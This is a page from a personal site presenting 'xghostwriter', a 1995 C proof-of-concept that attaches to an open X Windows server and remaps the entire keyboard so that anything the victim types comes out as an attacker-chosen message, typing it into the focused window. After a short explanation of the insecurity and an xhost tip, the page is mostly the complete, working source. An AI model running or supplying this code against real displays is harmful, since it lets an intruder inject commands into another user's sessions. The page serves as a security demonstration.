|
xghostwriter takes a message and remaps the entire keyboard to the
first character of the string; no matter what key the user presses, even
delete, the first character of the message comes out. It repeats this
for every character in the message.
I wrote this program in 1995 to show that allowing any foreign connection
to an X Windows server is insecure. Some people mistakenly thought
that, for example, activating Xterm's "Secure mode" would be enough.
However, in practice the so-called secure mode provides little actual security.
In X Windows a program can send events to another program, Xterm
for example, but the other program can tell whether the events are from
the X server or from another client program. Many programs will filter
out these fake events, so for malicious code to actually "type" into a window
it can't simply send keypress events to it. By remapping the keyboard,
all the events look like real, legitimate keypress ones. But since
every key on the keyboard produces the next key in the message the real
events generate the "wrong" character.
If you run X Windows, to protect your system from this sort of program
make sure nobody can connect to your X server. The "xhost" command
can be used to check this and disable these connections.
Source code:
|
|
/*
xghostwriter
Jon A. Maxwell (JAM)
Makes the keyboard type a message regardless
of what keys the user actually types.
*/
#include <X11/X.h>
#include <X11/Xlib.h>
#define XK_LATIN1
#define XK_MISCELLANY
#include <X11/keysymdef.h>
#include <string.h>
#include <stdio.h>
#define VERSION "1.0e"
#define DEFAULT_MESSAGE " The ghost in the machine!"
#define DEFAULT_DISPLAY ":0"
/* we nuke the modifiers, but we still must change both cases
or Xlib (I think) will translate upper case as lower. */
#define NUM_MODIFIERS 2 /* 1=lower case 2=both cases 3=both cases+control */
#define KEYS_IN_FAKE_MODIFIER_MAP 0
#define TRUE 1
#define FALSE 0
/* defines for different Xwindows types */
#define SET_ALL /* define to set all modifiers; for Xwindows
running on Digital Unix, or if you want to
make sure key/modmaps are set correctly for
most modifiers. It may be slower to set the
keymaps for each key though. */
#ifdef SET_ALL
#undef NUM_MODIFIERS
#define NUM_MODIFIERS 3
#undef KEYS_IN_FAKE_MODIFIER_MAP
#define KEYS_IN_FAKE_MODIFIER_MAP 4 /* Works on Alpha 3000/600 in
the lab! */
#endif
/* function declarations */
KeySym CharToSym(char c); /* convert ascii-char to keysym */
int signal_handler(); /* restores real keymap on signal */
int usage() {
printf("%s\n%s\n%s\n%s%s%s\n",
"USAGE: xghostwriter -display <display> -message <string> -risk",
"\tRemaps the whole keyboard to the next character in",
"\t string; anything typed will end up as the string.",
"\tVersion ",VERSION, ", by JAM");
exit(0);
}
/* global variables, so we can easily restore keymap on signal */
Display *disp;
char *message=DEFAULT_MESSAGE;
KeySym *real_keymap, fake_keymap[256*NUM_MODIFIERS],
*code; /* array, one for each character in message */
int real_width, code_min, code_max;
int risk=FALSE;
XModifierKeymap *real_modmap, *fake_modmap;
/* get args, open display, save original keymap & modmap, grab
server, tell active window to send KeyPress events, grab
pointer (so active window can't be changed), ungrab server,
calculate keysyms for message, set all signals to abort
program, erase all modifier keys (shift,etc), once for each
character in message: (set keymap so all keys are the current
character, clear events waiting, wait for a keypress) replace
keymap & modmap, ungrab pointer, close display, exit.
any signal also restores the keymap & modmap before exiting */
int main(int argc, char *argv[]) {
char *hostname=DEFAULT_DISPLAY;
int i, pos;
XEvent xev;
/* args */
for (i=1; i<argc; i++) {
if (!strcmp(argv[i], "-help")) usage();
else if (!strcmp(argv[i], "-display")) {
i++;
hostname=argv[i];
}
else if (!strcmp(argv[i], "-message")) {
i++;
message=(char *)malloc(strlen(argv[i])+2);
message[0]=' ';
strcpy(&message[1], argv[i]);
}
else if (!strcmp(argv[i], "-risk")) risk=TRUE;
else usage();
}
/* setup Xwindows, init xwindows stuff */
disp=XOpenDisplay(hostname);
if (NULL==disp) {
fprintf(stderr, "Cannot open X display: %s\n", hostname);
exit(1);
}
XDisplayKeycodes(disp, &code_min, &code_max);
real_keymap=XGetKeyboardMapping(disp, code_min, code_max-code_min, &real_width);
fake_modmap=XNewModifiermap(KEYS_IN_FAKE_MODIFIER_MAP);
real_modmap=XGetModifierMapping(disp);
/* server is grabbed for this block */
{ /* select the in-focus window, freeze pointer */
Window focus;
char *cptr;
int revert,rc;
/* print nothing while x server is grabbed, in case
this program is running on that server! */
XGrabServer(disp);
XGetInputFocus(disp, &focus, &revert);
if (None==focus || PointerRoot==focus || DefaultRootWindow(disp)==focus) {
XUngrabServer(disp);
printf("No window in focus on display. Aborting\n");
exit(2);
}
XFetchName(disp, focus, &cptr);
if (NULL==cptr && !risk) {
XUngrabServer(disp);
printf("FocusWindow has no title, aborting!\n");
printf("(User -risk to force using the window)\n");
exit(3);
}
else {
XUngrabServer(disp);
printf("FocusWindow: %s\n",cptr);
XFree(cptr);
}
select_all_windows(disp, focus, KeyPressMask);
rc=XGrabPointer(disp, focus, True, 0, GrabModeSync, GrabModeAsync,
focus, None, CurrentTime);
if (GrabSuccess!=rc) {
printf("Pointer Grab Failed.\n");
}
XUngrabServer(disp);
}
/* get keysym codes set up */
code=(KeySym *) malloc((strlen(message)+1)*sizeof(KeySym));
for (i=0; i<strlen(message); i++) {
code[i]=CharToSym(message[i]);
}
/* signals: I'm sure there is a better way */
for (i=0; i<32; i++) signal(i, signal_handler);
/* get rid of the modifiers (only works on some X displays) */
while (MappingBusy==(i=XSetModifierMapping(disp, fake_modmap)) ) {
sleep(1);
}
printf("XSetModifierMapping returned %d (should be %d)\n",i,MappingSuccess);
/* change keys as user types */
printf("Message: %s\n",message);
for (i=0; i<strlen(message); i++) {
int j;
for (j=0; j<(code_max-code_min)*NUM_MODIFIERS; j++) {
fake_keymap[j]=code[i];
}
XChangeKeyboardMapping(disp, code_min, NUM_MODIFIERS, fake_keymap, code_max-code_min);
XSync(disp, TRUE); /* flush and discard events */
/* wait for a keypress */
while (1) {
XNextEvent(disp, &xev);
if (xev.type==KeyPress) {
break;
}
}
}
restore_keymap();
XCloseDisplay(disp);
exit(0);
}
int restore_keymap() {
/* make sure keymap is reset back to normal! */
XSync(disp, TRUE);
XChangeKeyboardMapping(disp, code_min, real_width, real_keymap, code_max-code_min);
while (MappingBusy==XSetModifierMapping(disp, real_modmap)) {
sleep(1);
}
XUngrabPointer(disp,CurrentTime);
XFlush(disp);
}
int signal_handler() {
restore_keymap();
XCloseDisplay(disp);
printf("Killed by a signal: Keymap restored!\n");
exit(0);
}
/* this part is to convert ascii text to keysyms */
struct {char from; KeySym to;} CtoKSTable[]={
{' ', XK_space},
{'!', XK_exclam},
{'"', XK_quotedbl},
{'#', XK_numbersign},
{'$', XK_dollar},
{'%', XK_percent},
{'&', XK_ampersand},
{'\'',XK_apostrophe},
{'(', XK_parenleft},
{')', XK_parenright},
{'*', XK_asterisk},
{'+', XK_plus},
{',', XK_comma},
{'-', XK_minus},
{'.', XK_period},
{'/', XK_slash},
{':', XK_colon},
{';', XK_semicolon},
{'<', XK_less},
{'=', XK_equal},
{'>', XK_greater},
{'?', XK_question},
{'@', XK_at},
{'[', XK_bracketleft},
{'\\',XK_backslash},
{']', XK_bracketright},
{'^', XK_asciicircum},
{'_', XK_underscore},
{'`', XK_grave},
{'{', XK_braceleft},
{'|', XK_bar},
{'}', XK_braceright},
{'~', XK_asciitilde},
{'\n',XK_Return},
{0,0}
};
KeySym KSToUpper[26]={
XK_A,XK_B,XK_C,XK_D,XK_E,XK_F,XK_G,XK_H,XK_I,XK_J,XK_K,XK_L,XK_M,
XK_N,XK_O,XK_P,XK_Q,XK_R,XK_S,XK_T,XK_U,XK_V,XK_W,XK_X,XK_Y,XK_Z
};
/* time is not an issue here, because we look everything up before hand */
KeySym CharToSym(char c) {
char buf[2]="\0\0";
KeySym ksym, ksym_lower, ksym_upper;
if (isupper(c)) {return KSToUpper[c-'A'];}
buf[0]=c;
ksym=XStringToKeysym(buf);
if (ksym==NoSymbol) {
int i=0;
while (CtoKSTable[i].from!=0) {
if (CtoKSTable[i].from==c) return CtoKSTable[i].to;
i++;
}
printf("Symbol '%c' not found.\n",c);
/* we MUST exit before we start messing with the keymap
so that the user can find out what the right symbol is */
exit(1);
}
return ksym;
}
/* This recursive function originally written by Dominic Giampaolo
(nick@cs.maxine.wpi.edu), and modified by JAM (jmaxwell@acm.vt.edu)
It calls XSelectInput on the window and all its children.
*/
int select_all_windows(Display *disp, Window root, unsigned long type) {
Window parent, *children;
int stat, i, j, k;
unsigned int nchildren;
XSelectInput(disp, root, type);
stat=XQueryTree(disp, root, &root, &parent, &children, &nchildren);
if (stat == FALSE) {
fprintf(stderr, "Can't query window tree.\n");
return;
}
if (nchildren == 0) return;
/* select for all children windows too */
for(i=0; i < nchildren; i++) {
select_all_windows(disp, children[i], type);
}
XFree((char *)children);
}
xghostwriter.tar.gz